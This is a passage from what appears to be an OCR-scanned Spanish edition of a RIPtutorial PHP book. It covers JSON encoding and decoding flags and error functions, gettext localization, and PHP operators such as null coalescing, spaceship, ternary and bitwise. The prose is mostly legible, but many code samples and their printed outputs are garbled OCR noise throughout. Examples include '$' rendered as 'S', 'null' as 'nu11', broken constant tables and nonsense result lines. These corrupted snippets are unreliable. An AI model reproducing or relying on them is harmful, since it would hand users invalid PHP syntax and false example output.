cho $person->name; El Moariees ivi to ese jproueidey oí mom=olo7]ecis Sets mul 


echo Jjson_last_error(); 
+ 4 (JSON_ERROR_SYNTAX) 
echo json_last_error_msg(); 


* unexpected character 


No es seguro confiar solo en que el valor de retorno sea wuz:. para detectar errores. Por ejemplo, 
si la cadena JSON no contiene nada más que "null" , json_decode () devolverá nu11 , aunque no 
se haya producido ningún error. 


Codificar una cadena JSON 


La función ¿son encode convertirá una matriz PHP (o, desde PHP 5.4, un objeto que implementa la 
interfaz JsonSerializable ) en una cadena codificada en JSON. Devuelve una cadena codificada 
en JSON en caso de éxito o FALSE en caso de error. 


Sarray = [ 
'name' => 'Jeff', 
"age' => 20, 
"active' => true, 
"colors" => [feed'” “bluetl, 
'values' => [0=>'foo', 3=>'bar'], 


1; 


Durante la codificación, los tipos de datos de PHP, cadena, entero y booleano se convierten a su 
equivalente JSON. Las matrices asociativas se codifican como objetos JSON y, cuando se llaman 
con argumentos predeterminados, las matrices indexadas se codifican como matrices JSON. (A 
menos que las claves de matriz no sean una secuencia numérica continua que comience desde 
0, en cuyo caso la matriz se codificará como un objeto JSON). 


echo json_encode ($array) ; 


Salida: 


Mana s VISTE" Vago 320, "activa" 3ezmes, "eslorzsWs rca”, lus", "values (OY: "ES, SI Mec T 


Argumentos 


Desde PHP 5.3, el segundo argumento de json_encode es una máscara de bits que puede ser una 
o más de las siguientes. 
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Al igual que con cualquier máscara de bits, se pueden combinar con el operador binario OR ; . 
PHP 5.x 5.3 
JSON_FORCE_OBJECT 


Fuerza la creación de un objeto en lugar de una matriz. 


Seva = [desil!, 23, veus, [asdl, “stas 117 
echo json_encode ($array) ; 
echo json_encode ($array, JSON_FORCE_OBJECT); 


Salida: 


["Joel1",23,true, ["red","blue"]] 
Or" Icel", E a ECO, USES e A tt "bluerid 


JSON_HEX_TAG y JSON_HEX_AMP y JSON_HEX_APOS y JSON_HEX_QUOT 


Asegura las siguientes conversiones durante la codificación: 


JSON_HEX_TAG < 


Nu003€ 
JSON_HEX_TAG > Xu003E 
JSON_HEX_AMP € xu0026 
JSON_HEX_APOS i Xu0027 
JSON_HEX_QUOT Xu0022 
Sezzay = [Mrag "Ss", "ami, Varo Ios, Meuor US IU 


echo json_encode ($array) ; 
echo json_encode ($array, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT); 


Salida: 


(Vray Un, omo IÍA dps gn, queje" UN U0S 
AENA OS EN UO DS A  EAOAaO SENA O O MUO A O UZNA 


PHP 5.x 5.3 
JSON_NUMERIC_CHECK 
Asegura que las cadenas numéricas se conviertan a enteros. 


Sarray = (1231521234520 
echo json_encode ($array) ; 
echo json_encode ($array, JSON_NUMERIC_CHECK); 
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Salida: 


PMesasad, 23] 
[23452,23452] 


PHP 5.x 5.4 
JSON_PRETTY PRINT 


Hace el JSON fácilmente legible 


Senssay = la! => il, “o! => 2, le => 3, “er => dl; 
echo json_encode ($array) ; 
echo json_encode ($array, JSON_PRETTY_PRINT); 


Salida: 


(Manzi, Mslz2, elos Wa 
[ 
tas 1 
MZ 
EMS 
"ad": 4 


JSON_UNESCAPED_SLASHES 


Incluye barras inclinadas , salientes en la salida 


Sarray = ['filename' => 'example.txt', 'path' => '/full/path/to/file/']; 
echo json_encode ($array) ; 
echo json_encode ($array, JSON_UNESCAPED_SLASHES); 


Salida: 
(Utica: "Seco le rs, Moras IN ABR leo 
(lec: "esca le sr, Maras nl l/sgada/roy calle" y 


JSON_UNESCAPED_UNICODE 


Incluye caracteres codificados en UTF8 en la salida en lugar de cadenas codificadas en 1u 


Sblues = ["english"=>"blue", "norwegian"=>"blá", "german"=>"blau"]; 
echo json_encode ($blues); 
echo json_encode ($blues, JSON_UNESCAPED_UNICODE); 


5 


Salida: 


(Wencilisials Male", "noryecica"s Moi uo0ssY, "een Molar? 
(Meal isis Malas", "aorvueciicia"s lat, "eras Ulea? 


PHP 5.x 5.5 
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JSON_PARTIAL OUTPUT_ON_ERROR 


Permite que la codificación continúe si se encuentran algunos valores no codificables. 


sto = Fopaa( "Foo. iq", "srU)> 
Sarray = ["file"=>$fp, "name"=>"foo0.txt"]; 
echo json_encode ($array); // no output 


echo json_encode ($array, JSON_PARTIAL _ OUTPUT_ON_ERROR); 


Salida: 
(MLS Samil, eme Ys Eos. usd” 
PHP 5.x 5.6 


JSON_PRESERVE_ZERO_FRACTION 
Asegura que los flotadores estén siempre codificados como flotadores. 


Saray = [5:0, 3317 
echo json_encode ($array) ; 
echo json_encode ($array, JSON_PRESERVE_ZERO_FRACTION); 


Salida: 


[979991 
50,941 


PHP 7.x 7.1 


JSON_UNESCAPED_LINE_TERMINATORS 


Cuando se usa CON JSON_UNESCAPED_UNICODE , VUelve al comportamiento de versiones anteriores de 
PHP y no escapa a los caracteres U + 2028 LINE SEPARATOR y U + 2029 PARAGRAPH 
SEPARATOR. Aunque son válidos en JSON, estos caracteres no son válidos en JavaScript, por 
lo que el comportamiento predeterminado de ysox_unescapeD_unIcoDE Se cambió en la versión 7.1. 


Sarray = ["line"=>"Axe21x801xa8", "paragraph"=>"xe21x801xa9"]; 
echo json_encode ($array, JSON_UNESCAPED_UNICODE); 
echo json_encode ($array, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_LINE_' 


3 


ERMINATORS); 


Salida: 


(Mia NO, Maracas OSO y 
(ULliasY : "[] Gi "paragraph" : "[] TE 


Depuración de errores JSON 


Cuando json_encode O json_decode NO puede analizar la cadena proporcionada, devolverá false . 
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PHP en sí mismo no generará ningún error o advertencia cuando esto suceda, la responsabilidad 


del usuario es utilizar las funciones json_last_error () y json_last_error_msg () para verificar si 
ocurrió un error y actuar en consecuencia en su aplicación (depurarlo, mostrar un mensaje de 
error , etc.). 


El siguiente ejemplo muestra un error común cuando se trabaja con JSON, un error al 


descodificar / codificar una cadena JSON (por ejemplo, al pasar una cadena codificada en UTF-8 


incorrecta) . 


// An incorrectly formed JSON string 


S3]sonString = json_encode("('Bad JSON':1xB11x31)"); 
if (json_last_error() != JSON_ERROR_NONE) ( 
prince (MUSSO aerorza Es, som last srror mesi) 


$> JSON Error: Malformed UTF-8 characters, possibly incorrectly encoded 


json last_error_msg 


ison_last_error_msg() devuelve un mensaje legible por humanos del último error que se produjo al 


intentar codificar / decodificar una cadena. 


+ Esta función siempre devolverá una cadena , incluso si no se produjo ningún error. 
La cadena predeterminada que no es de errores xo Error 

+ Devolverá false si se produce algún otro error (desconocido) 

* Tenga cuidado al usar esto en bucles, ya que json last error_msg se anulará en cada 
iteración. 


Solo debe usar esta función para mostrar el mensaje, no para probar en las declaraciones de 
control. 


Il DORE co tales 
if (json_last_error_msg())(í) // always true (it's a string) 


if (json_last_error_msg() != "No Error") () // Bad practice 


// Do this: (test the integer against one of the pre-defined constants) 
if (json_last_error() != JSON_ERROR_NONE) ( 
// Use Json_last_error_msg to display the message only, (not test against 1t) 


pra (MUsoON amezorzs Es, JSom_lesit srt mec io) ). 


Esta función no existe antes de PHP 5.5. Aquí hay una implementación de polyfill: 


1 (function csalstes (son last srroz meg")) 
function json_last_error_msg() ( 
static S$ERRORS = array ( 
JSON_ERROR_NONE => 'No error', 
JSON_ERROR_DEPTH => 'Maximum stack depth exceeded', 
JSON_ERROR_STATE_MISMATCH => 'State mismatch (invalid or malformed JSON)', 
JSON_ERROR_CTRL_CHAR => 'Control character error, possibly incorrectly encoded', 
JSON_ERROR_SYNTAX => 'Syntax error', 
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JSON_ERROR_UTF8 


); 


=> 'Malformed UTF-8 characters, 


Serror = Json_last_error(); 
(SERRORS [$error]) ? SERRORS[$error] : 'Unknown error'; 


return isset 


json_last_error 


possibly incorrectly encoded' 


ison_last_error () devuelve un entero asignado a una de las constantes predefinidas provistas por 


PHP. 


COI 


JSO 


JSO 


JSON_. 


JSO 


JSON_. 


JSO 


JSON_. 


JSO 


JSON 


_ ERROR_NONE 


_ERROR_DEPTH 


_ ERROR_CTRL_CHAR 


ERROR_SYNTAX 


_ERROR_UTE8 


ERROR_RECURSION 


ERROR_INF_OR_NA 


ERROR_STATE_MISMATCH 


ERROR_UNSUPPORT 


ED_TYPE 


No ha ocurrido ningún error 
Se ha superado la profundidad máxima de pila. 
JSON inválido o mal formado 


Error de carácter de control, posiblemente codificado 
incorrectamente 


Error de sintaxis (desde PHP 5.3.3) 


Caracteres UTF-8 con formato incorrecto, posiblemente 
codificados incorrectamente (desde PHP 5.5.0) 


Una o más referencias recursivas en el valor a codificar 
Uno o más valores NAN o INF en el valor a codificar 


Se dio un valor de un tipo que no puede ser codificado 


Usando JsonSerializable en un objeto 


PHP 


Al crear API REST, es posible que deba reducir la información de un objeto que se pasará a la 


5.x 5.4 


aplicación cliente. Para este propósito, este ejemplo ilustra cómo usar la interfaz ssonserialiazble 


En este ejemplo, la clase user realidad extiende un objeto modelo DB de un ORM hipotético. 


clas 
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s User extends Model implements JsonSerializable ( 


¡able Salol, 
public $name; 
public $surname; 


public S$username; 


301 


public $password; 
public $email; 

public $date_created; 
public $date_edit; 
public $role; 

public $status; 


public function jsonSerialize() ( 
return | 
'name' => $this->name, 
'surname' => $this->surname, 
"username' => $this->username 


Agregue la implementación ssonserializable a la clase, proporcionando el método jsonserialize() 


public function jsonSerialize() 


Ahora, en su controlador de aplicación o script, al pasar el Usuario de objeto a json_encode () 
obtendrá la matriz codificada de ¡son de retorno del método jsonserialize() lugar de todo el 
objeto. 

Jjson_encode ($User); 


Volverá 


["name":"John", "surname": "Doe", "username" : "TestJson") 


Ejemplo de valores de propiedades. 


Esto reducirá la cantidad de datos devueltos desde un punto final RESTful y permitirá excluir las 
propiedades del objeto de una representación json. 


Usando propiedades privadas y protegidas Con son encoae :) 


Para evitar el uso de JsonSerializable, también es posible usar propiedades privadas o protegidas 
para ocultar la información de clase de la ¿son_encode () de json_encode () . La clase entonces no 
necesita implementar 1 JsonSerializable. 


La función json_encode () solo codificará las propiedades públicas de una clase en 
JSON. 


<?php 


class User ( 
// private properties only within this class 
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private Sid; 
private $date_created; 


private $date_edit; 


// properties used in extended classes 


protected $password; 
protected Semail; 
protected $role; 
protected $status; 


// share these properties with the end user 
public $name; 

public $surname; 

public Susername; 


// jsonSerialize() not needed here 


) 


StheUser = new User(); 


var_dump (json_encode ($theUser)); 


Salida: 


string(44) "("name":null, "surname":null, "username":null)," 


Encabezado ¡son y la respuesta devuelta 
Añadiendo un encabezado con tipo de contenido como JSON: 


<?php 
Sresult = array('menul' => 'home', 'menu2' => 'code php', 'menu3' => 'about'); 


//return the json response : 


header ('Content-Type: application/3json'); // <-- header declaration 
echo json_encode ($result, true); // <---= encode 
exi (0 


El encabezado está allí para que su aplicación pueda detectar qué datos se devolvieron y cómo 
debería manejarlos. 

Tenga en cuenta que: el encabezado de contenido es solo información sobre el tipo de datos 
devueltos. 


Si está utilizando UTF-8, puede usar: 
header ("Content-Type: application/3json;charset=utf-8"); 
Ejemplo ¡Query: 


S.ajax(( 
url: 'url_your_page_php_that_return_json' 


)) .done (function (data) ( 
console.table('json ',data); 
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console.log('Menul : ', data.menul); 


y; 


Lea JSON en línea: https://riptutorial.com/es/php/topic/61 7/json 
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Capítulo 60: Localización 


Sintaxis 


* string gettext (string $message) 


Examples 


Localizando cadenas con gettext () 


GNU gettex+ es una extensión dentro de PHP que debe incluirse en pnp. ini : 


xtension=php gettext.dll tWindows 


xtension=gettext.so tfLinux 


Las funciones gettex+ implementan una API NLS (Native Language Support) que puede utilizarse 
para internacionalizar sus aplicaciones PHP. 


Las cadenas de traducción se pueden hacer en PHP configurando la configuración regional, 
configurando las tablas de traducción y llamando a gettext () en cualquier cadena que desee 
traducir. 


<?php 
// Set language to French 
putenv('LC_ALL= EX EROS 


setlocale(LC_ALL, 'fr_ER'); 


// Specify location of translation tables for 'myPHPApp' domain 
bindtextdomain ("myPHPApp", "./locale"); 


// Select 'myPHPApp' domain 
textdomain ("myPHPApp"); 


myPHPApp.po 


ft: /Hello_world.php:56 
msgid "Hello" 
msgstr "Bonjour" 


tk: /Hello world.php:242 
msgid "How are you?" 


msgstr "Comment allez-vous?" 


gettext () carga un archivo .po post-compilado dado, un .mo. que mapea tus cadenas traducidas 
como las anteriores. 


Después de este pequeño código de configuración, las traducciones se buscarán en el siguiente 
archivo: 
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e .,/locale/fr_FR/LC_MESSAGES/myPHPApp.mo . 


Siempre que llame a gettext ('some string') , Si 'some string: Se ha traducido en el archivo .mo , 


se devolverá la traducción. De lo contrario, 'some string' se devolverá sin traducir. 


// Print the translated version of 'Welcome to My PHP Application' 
cho gettext ("Welcome to My PHP Application"); 


// Or úse the alias _() for gettext () 
echo _("Have a nice day"); 


Lea Localización en línea: https://riptutorial.com/es/php/ftopic/2963/localizacion 
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Capítulo 61: Los operadores 


Introducción 


Un operador es algo que toma uno o más valores (o expresiones, en la jerga de programación) y 
produce otro valor (para que la construcción en sí se convierta en una expresión). 


Los operadores se pueden agrupar de acuerdo con el número de valores que toman. 


Observaciones 


Los operadores 'operan' o actúan sobre uno (operadores unarios como !sa y ++5a ), dos 
(operadores binarios como sa + $b O $a >> sb ) O tres (el único operador ternario es sa 2 sb : $0) 
expresiones. 


La precedencia del operador influye en cómo se agrupan los operadores (como si hubiera 
paréntesis). La siguiente es una lista de operadores en orden de su precendencia (operadores en 
la segunda columna). Si hay varios operadores en una fila, la agrupación está determinada por el 
orden del código, donde la primera columna indica la asociatividad (ver ejemplos). 


Asociación | Operador 


izquierda > 0: 

ninguna clone new 
izquierda [ 

Correcto id 

Correcto ++ --- (int) (float) (string) (array) (object) (bool) € 
ninguna instanceof 
Correcto ! 

izquierda */% 

izquierda a 

izquierda << >> 

ninguna < <= > >= 

ninguna ! == <> <=> 
izquierda E 
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Asociación | Operador 


izquierda > 

izquierda 

izquierda £8 

izquierda M 

Correcto ed 

izquierda e 

Correcto + k= *k= [== %= 
izquierda and 

izquierda xor 

izquierda or 


La información completa está en Stack Overflow . 


Tenga en cuenta que las funciones y construcciones de lenguaje (por ejemplo, print ) siempre se 


evalúan primero, pero cualquier valor de retorno se utilizará de acuerdo con las reglas de 
asociación / precedencia anteriores. Es necesario tener especial cuidado si se omiten los 
paréntesis después de una construcción de lenguaje. Ej. echo 2 


. print 3 + 4; echo's 721 : la 


parte de print evalúa 3 + 4 , imprime el resultado 7 y devuelve 1: . Después de eso, se hace eco 


de 2 , concatenado con el valor de retorno de print ( 1 ). 


Examples 


Operadores de cadena (. Y. =) 


Sólo hay dos operadores de cadena: 


* Concatenación de dos cuerdas (punto): 


Sa = "a"; 
Sb = "b"; 
Se = Sa . Hop // Se =>» "alo" 


+ Asignación de concatenación (punto =): 


Sa = Wal 
a 


Asignación básica (=) 
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Sa = "some string"; 


resulta en sa tener el valor de some string . 


El resultado de una expresión de asignación es el valor que se asigna. Tenga en cuenta que un 
solo signo igual = NO es para comparación! 


Sa = 3; 
Sb = ($a = 5); 


hace lo siguiente: 


1. La línea 1 asigna 3 a sa. 
2. La línea 2 asigna 5 a sa . Esta expresión también da valor 5 . 
3. La línea 2 luego asigna el resultado de la expresión entre paréntesis (5) a so. 


Por lo tanto: tanto $a como s» ahora tienen valor s . 
Asignación combinada (+ = etc) 


Los operadores de asignación combinada son un atajo para una operación en alguna variable y 
posteriormente asignan este nuevo valor a esa variable. 


Aritmética: 


Se = 1, // basic assignment 
Sa += 127 // read as Sa = Sa + 207 Sa now 1s (1 + 2) =>53 
Sa == 1; // $a now is (3 - 1) => 2 

Sa *= 2; // $a now is ( 

Sa Je 22 // Sa mr ls (16 / 2) => E 

sea = Dp // Sa mew ls (8 SB) => 3 (models ex mencalmecier) 
// array + 

SarrO0ne = array (1); 

SarrTwo = array(2); 

SarrOne += SarrIwo; 


Procesando múltiples matrices juntos 
Sa **= 2; // Sa now is (4 ** 2) => 16 (4 raised to the power of 2) 
Concatenación combinada y asignación de una cadena: 


Sa = man; 
A 


Operadores de asignación bit a bit binaria combinados: 


Sa = 0b00101010; // $a now is 42 
Sa £€= 0b00001111; // Sa now is (00101010 £ 00001111) => 00001010 (bitwise and) 
Sa |= 0b00100010; // Sa now is (00001010 | 00100010) => 00101010 (bitwise or) 
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Sa *= 0b10000010; // Sa now is (00101010 * 10000010) => 10101000 (bitwise xor) 
sa >= 3y IV Sa moy is (AOIQLOOO >> $) => VOOVQLQIL0QA (SalEe sena low S) 
Sa <= La Sa so le (OVUOLVLOL << 1) => OULOLOLO (Simite lee lay 1) 


Modificación de la precedencia del operador (entre paréntesis) 


El orden en que se evalúan los operadores está determinado por la precedencia del operador 
(consulte también la sección Comentarios). 


En 
SS 


sa Obtiene un valor de 10 porque 2 + 3 se evalúa primero (la multiplicación tiene una precedencia 
más alta que la suma), lo que arroja un resultado secundario de 5 + 4 , que es igual a 10. 


La precedencia se puede alterar utilizando paréntesis: en 
Sa = 2 SN 
sa Obtiene un valor de 14 porque (3 + 4) se evalúa primero. 


Asociación 


Asociación izquierda 


Si la precedencia de dos operadores es igual, la asociatividad determina la agrupación (vea 
también la sección de Comentarios): 


sa = Bb *3% 29 // Sa mov dls (5 * 3) $8 2 => (15 $ 2) => 1 


* y 2 tienen igual precedencia y asociatividad izquierda . Debido a que la multiplicación se 
produce primero (izquierda), se agrupa. 


Sa =»Bb63s 2 // Sea mor ls (Bb E 3) + 2=> (1 * 2) => 4 


Ahora, el operador de módulo aparece primero (izquierda) y, por lo tanto, se agrupa. 


Asociación correcta 


SE 
slo = Lp 
fa = $b += 1; 


Tanto sa como s» ahora tienen valor 2 porque sb» += 1 se agrupa y luego el resultado ( sv es 2 ) se 
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asigna a sa. 


Operadores de comparación 


Igualdad 


Para las pruebas de igualdad básicas, se utiliza el operador igual == . Para verificaciones más 
completas, use el operador idéntico === . 


El operador idéntico funciona igual que el operador igual, requiriendo que sus operandos tengan 
el mismo valor, pero también requiere que tengan el mismo tipo de datos. 


Por ejemplo, la muestra a continuación mostrará 'a y b son iguales', pero no 'a y b son idénticos'. 


Sa = de 
$b = '4'; 
1f ($a == $b) ( 


echo 'a and b are equal'; // this will be printed 


1f ($a === $b) ( 
echo 'a and b are identical'; // this won't be printed 


Cuando se usa el operador igual, las cadenas numéricas se convierten en enteros. 


Comparacion de objetos 


=== Compara dos objetos al verificar si son exactamente la misma instancia . Esto significa que 
new stdClass () === new stdClass() resuelve en falso, incluso si se crean de la misma manera (y 
tienen exactamente los mismos valores). 


== Compara dos objetos verificando recursivamente si son iguales ( deep equals ). Eso significa 
que, para sa == sb, Si $a Y $b SON: 


1. de la misma clase 

2. tienen el mismo conjunto de propiedades, incluidas las propiedades dinámicas 

3. para cada propiedad sproperty establecida, sa->property == S$b->property es verdadera (por 
lo tanto, verificada recursivamente). 


Otros operadores de uso común 


Incluyen: 
1. Mayor que (> ) 


2. Menor que (<) 
3. Mayor o igual que (>=) 
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4. Menor o igual a (<=) 
5. No es igual a ( :=) 
6. No es idénticamente igual a ( :==) 


1. Mayor que: sa > sb, devuelve true si sa 's valor es mayor que de sy , de lo contrario 
devuelve false. 


Ejemplo : 


ver _cuislsa > 2) // primis losa (eu) 
var_dump (2 > 7); // prints bool (false) 


2. Menor que: sa < sb», devuelve true si sa valor 's es más pequeña que la de s» , de lo 
contrario devuelve false. 


Ejemplo : 


var_dump(5 < 2); // prints bool (false) 
vez cui < 10)p // jozilmis Doa (ee) 


3. Mayor o igual a : sa >= sp», devuelve true si el sa es mayor que s» o igual a s», de lo 
contrario devuelve false . 


Ejemplo : 


var_dump (2 >= 2); // prints bool (true) 
var_dump(6 > Y jara 1 (e 206) 
var_dump (1 >= 7); // prints bool (false) 


Il 
a 
a 


4. Menor o igual a : sa <= sv, devuelve true si el sa es menor que sy o igual a sy , de lo 
contrario devuelve false . 


Ejemplo : 


var_dump(5 <= 5); // prints bool (true) 
var_dump (5 <= 8); // prints bool (true) 
var_dump (9 <= 1); // prints bool (false) 


5/6. No Igual / Idéntico Para: Para repetir el ejemplo anterior sobre igualdad, la muestra a 
continuación mostrará 'a y b no son idénticos', pero no 'a y b no son iguales". 


sa = dp 
Sh = '4'; 
1£ (Sa 15 $b) ( 
echo 'a and b are not equal'; // this won't be printed 
) 
if (Sa !== $b) ( 
echo 'a and b are not identical'; // this will be printed 
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Operador de la nave espacial (<=>) 
PHP 7 introduce un nuevo tipo de operador, que se puede utilizar para comparar expresiones. 
Este operador devolverá -1,0 o 1 si la primera expresión es menor, igual o mayor que la segunda 


expresión. 


// Integers 


preiae (1 <> i)e // 0 
pra (1 <> 2)p // =1 
preiae (2 <> 1) // 1 

// Floats 

piba (1.5 <> 1.5) // Y 
praia (1.5 <> 2.5)p // =1 
praia (2.5 <> 1.5) // 1 
// Strings 

pela ("al <=> Wal)]e // € 
peine ("al <> Us) // =1 
prime (Mg! <> Wan)ho // 1 


Los objetos no son comparables, y al hacerlo resultará en un comportamiento indefinido. 


Este operador es particularmente útil al escribir una función de comparación definida por el 
usuario usando usort , uasort O uksort . Dada una matriz de objetos a clasificar por su propiedad 
de weight , por ejemplo, una función anónima puede usar <=> para devolver el valor esperado por 
las funciones de clasificación. 


usort ($list, function($a, $b) [ return $a->weight <=> $b->weight; )); 
En PHP 5, esto habría requerido una expresión más elaborada. 


usos (Sl Se, Ebiaculoaa (Se, Sa) 1 
return $a->weight < S$b->weight ? -1 : (S$a->weight == $b->weight ? 0 : 1); 
»; 


Operador coalescente nulo (??) 


Null coalescing es un nuevo operador introducido en PHP 7. Este operador devuelve su primer 
operando si está establecido y no es nun. . De lo contrario devolverá su segundo operando. 


El siguiente ejemplo: 


$name = $_POST['name'] ?? 'nobody'; 


es equivalente a ambos: 


te (ssl (5 JOSt aca 1) € 
Saca = Ss 1Stmeme 17 
) else ( 
$name = 'nobody'; 
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Sname = isset($_POST['name']) ? $_POST['name'] : 'nobody'; 


Este operador también puede ser encadenado (con semántica asociativa a la derecha): 


$name = $_GET['name'] ?? $_POST['name'] ?? 'nobody'; 


que es equivalente a: 


1f (isset($_GET['name'])) 1 
Sname = S.GET [name 17 
Ss 
$ 


) elseif (isset($_POST['name'])) ( 


Sname = S POST "name'1; 
) else ( 
$name = 'nobody'; 
) 
Nota: 


Al usar el operador coalescente en la concatenación de cadenas, no olvide usar paréntesis () 


Srlirsuvene = "Ona? 
SlastName = "Doe"; 
calao Ssilesivcaas 22 "Unlaacnar , "Y. Sleasevaae 2 VU 


Esto generará solo a sonn , y si $ firstName es nulo y $ lastName es boe , generará unknown Doe . 
Para generar John Doe, debemos usar paréntesis como este. 


Series Name Tona 
SlastName = "Doe"; 
como (Sitiesicisae 22 "Unam y Y Yo, (Blasuveas 38 WN>o 


Esto dará salida a sonn Doe lugar de a sonn solamente. 
instanceof (operador de tipo) 


Para verificar si algún objeto es de una cierta clase, el operador de instanceos (binario) se puede 
usar desde la versión 5 de PHP. 


El primer parámetro (izquierda) es el objeto a probar. Si esta variable no es un objeto, instanceos 
siempre devuelve false . Si se usa una expresión constante, se lanza un error. 


El segundo parámetro (a la derecha) es la clase con la que se compara. La clase se puede 
proporcionar como el propio nombre de la clase, una variable de cadena que contiene el nombre 
de la clase (¡no una constante de cadena!) O un objeto de esa clase. 


class MyClass ( 
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) 
Sol = new MyClass(); 
$02 = new MyClass(); 


$name = 'MyClass'; 


// in the cases below, $a gets boolean value true 


Sa = $ol instanceof MyClass; 
Sa = $ol instanceof $name; 
Sa = $ol instanceof $02; 


// counter examples: 


Sb = 'bD'; 

$a = $ol instanceof 'MyClass'; // parse error: constant not allowed 
Sa = false instanceof MyClass; // fatal error: constant not allowed 
Sa = $b instanceof MyClass; //talse ($b is not an object) 


instanceof también se puede usar para verificar si un objeto es de una clase que extiende otra 
clase o implementa alguna interfaz: 


interface MyInterface ( 


class MySuperClass implements MyInterface ( 


class MySubClass extends MySuperClass ( 


So = new MySubClass/(); 


// in the cases below, $a gets boolean value true 
Sa = $o instanceof MySubClass; 

Sa = $o instanceof MySuperClass; 

Sa = $o instanceof MylInterface; 


Para verificar si un objeto no pertenece a alguna clase, se puede usar el operador no ( : ): 


class MyClass ( 
) 


class OtherClass ( 
) 


So = new MyClass(); 
Sa = lo inmstemecor Orar Classs // tiene 


Tenga en cuenta que los paréntesis alrededor de so instanceof MyClass NO SON Necesarios porque 
instanceof tiene mayor prioridad que : , aunque puede hacer que el código sea más legible entre 
paréntesis. 


Advertencias 


Si una clase no existe, se llama a las funciones de carga automática registradas para tratar de 
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definir la clase (¡este es un tema fuera del alcance de esta parte de la Documentación!). En las 
versiones de PHP anteriores a 5.1.0, el operador instanceos también activaría estas llamadas, 
definiendo así la clase (y si la clase no pudiera definirse, se produciría un error fatal). Para evitar 
esto, usa una cadena: 


// only PHP versions before 5.1.0! 
class MyClass ( 
) 


So = new MyClass(); 

Sa = $0 instanceof OtherClass; // OtherClass is not defined! 

// 1f OtherClass can be defined in a registered autoloader, it is actually 
// loaded and $a gets boolean value false ($0 is not a OtherClass) 

// 1f OtherClass can not be defined in a registered autoloader, a fatal 
SO ERO E USE 


Sname = 'YetAnotherClass'; 
Sa = $o instanceof $name; // YetAnotherClass is not defined! 
// $a simply gets boolean value false, YetAnotherClass remains undefined. 


A partir de la versión 5.1.0 de PHP, los autocargadores registrados ya no son llamados en estas 
situaciones. 


Versiones anteriores de PHP (antes de 5.0) 


En versiones anteriores de PHP (antes de 5.0), la función is_a se puede usar para determinar si 
un objeto es de alguna clase. Esta función está en desuso en la versión 5 de PHP y se 
desaprueba en la versión 5.3.0 de PHP. 


Operador Ternario (? :) 


El operador ternario puede considerarse como una instrucción is línea. Se compone de tres 
partes. El operator , y dos resultados. La sintaxis es la siguiente: 


$value = <operator> ? <true value> : <false value> 


Si el operator Se evalúa COMO true , se devolverá el valor en el primer bloque ( <true value> ), de 
lo contrario, se devolverá el valor en el segundo bloque ( <false value> ). Dado que estamos 
configurando svalue al resultado de nuestro operador ternario, almacenará el valor devuelto. 


Ejemplo: 
Sactiloa = Suar (8 POST [action 1) P "estemle” < 8 POST ["ewsreiloa" |] A 


Saction Contendría la cadena 'default' Si empty ($_POST['action']) evalúa como verdadera. De lo 
contrario, contendría el valor de s_rosT['action']. 


La expresión (expr1) ? (expr2) : (expr3) evalúa a expr2 si exprl evalúa COMO true , Y expr3 si 
expr1 evalúa COMO false . 
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Es posible omitir la parte media del operador ternario. Expression expr1 ?: expr3 devuelve expr1 Si 
expr1 evalúa como VERDADERO, y expr3 contrario. >: se refiere a menudo como operador de 
Elvis . 


Esto se comporta como el operador de unión nula >> , excepto que >> requiere que el operando 
izquierdo sea exactamente nu11 mientras que >: intenta resolver el operando izquierdo en un valor 
booleano y verifica si se resuelve en false booleano. 


Ejemplo: 


function setWidth(int $width = 0)( 
S_SESSION["width"] = $width ?: getDefaultWidth(); 


En este ejemplo, setmiatn acepta un parámetro de ancho, o O predeterminado, para cambiar el 
valor de la sesión de ancho. Si swiatn es O (Si swiatn no se proporciona), que se resolverá en 
booleano falso, en su lugar se usa el valor de getnefaulewiath () . La función getDefaultwidth () NO 
se llamará Si swiarn no se resolvió como booleano falso. 


Consulte Tipos para obtener más información sobre la conversión de variables a booleano. 
Incremento (++) y operadores decrecientes (-) 


Las variables se pueden incrementar o disminuir en 1 con ++ 0 -- , respectivamente. Pueden 
preceder o tener éxito en las variables y variar ligeramente de forma semántica, como se muestra 
a continuación. 


Sá = Lp 
esas Sap // Pelaes 1 


// Pre-increment operator increments $i by one, then returns $1 
celo meo) // Pia 2 


// Pre-decrement operator decrements $1 by one, then returns $1 
sclas ==$l9 // Pelos 1 


// Post-increment operator returns $1, then increments $i by one 
echo Si++; // Prints 1 (but $i value is now 2) 


// Post-decrement operator returns $1, then decrements $i by one 


echo Si--; // Prints 2 (but $i value is now 1) 


Se puede encontrar más información sobre el incremento y la disminución de los operadores en la 
documentación oficial . 


Operador de Ejecución (**) 


El operador de ejecución de PHP consta de backticks ('*) y se utiliza para ejecutar comandos de 
shell. La salida del comando se devolverá y, por lo tanto, se puede almacenar en una variable. 


// ise tules 
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Soutput = '1s'; 
echo "<pre>$output</pre>"; 


Tenga en cuenta que el operador de ejecución y she1: exec) darán el mismo resultado. 


Operadores lógicos (88 / AND y || / OR) 


En PHP, hay dos versiones de operadores lógicos AND y OR. 


Sa and $b Tanto sa como s» son verdaderos 
Sa £s $b Tanto sa como ss» son verdaderos 
Sa or Sb O sa 90 sa sy es cierto 


Sa || $b O sa 90 sa sb es cierto 


Tenga en cuenta que el ss y ¡| Los operadores tienen mayor prioridad que ana Y or . Vea la tabla 
de abajo: 


Evaluación Resultado de se | Evaluado como 


Se = false || true Cierto Se = (false || true) 
Se = false or true Falso (Se = false) or true 
Debido a esto, es más seguro usar s« y ¡| en lugar de and Y or . 


Operadores de Bitwise 


Prefijo de operadores bitwise 


Los operadores bitwise son como operadores lógicos, pero se ejecutan por bit en lugar de por 
valor booleano. 


// bitwise NOT -: sets all unset bits and unsets all set bits 
¡rca (MESS, OSLO)? 4/4 OOLO0 


Operadores de máscara de bits 


Bitwise AND + : un bit se establece solo si se establece en ambos operandos 


printf ("%'06b", 0b110101 £ 0b011001); // 010001 
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Bitwise o | : se establece un bit si se establece en uno o ambos operandos 


premi (SS, OSILQILOL [| OOO), // LILLO 


Bitwise XOR - : se establece un bit si se establece en un operando y no se establece en otro 
operando, es decir, solo si ese bit está en un estado diferente en los dos operandos 


gicimici (MOSS, OSLLOQLOL * OaQiLO0i), // IDILLOO 


Ejemplos de usos de las máscaras de bits. 


Estos operadores pueden ser utilizados para manipular las máscaras de bits. Por ejemplo: 


file _ put_contents("file.log", LOCK_EX | FILE_APPEND); 


Aquí, el | El operador se utiliza para combinar las dos máscaras de bits. Aunque + tiene el mismo 
efecto, ¡ hace hincapié en que está combinando máscaras de bits, no agregando dos enteros 
escalares normales. 


class oo 
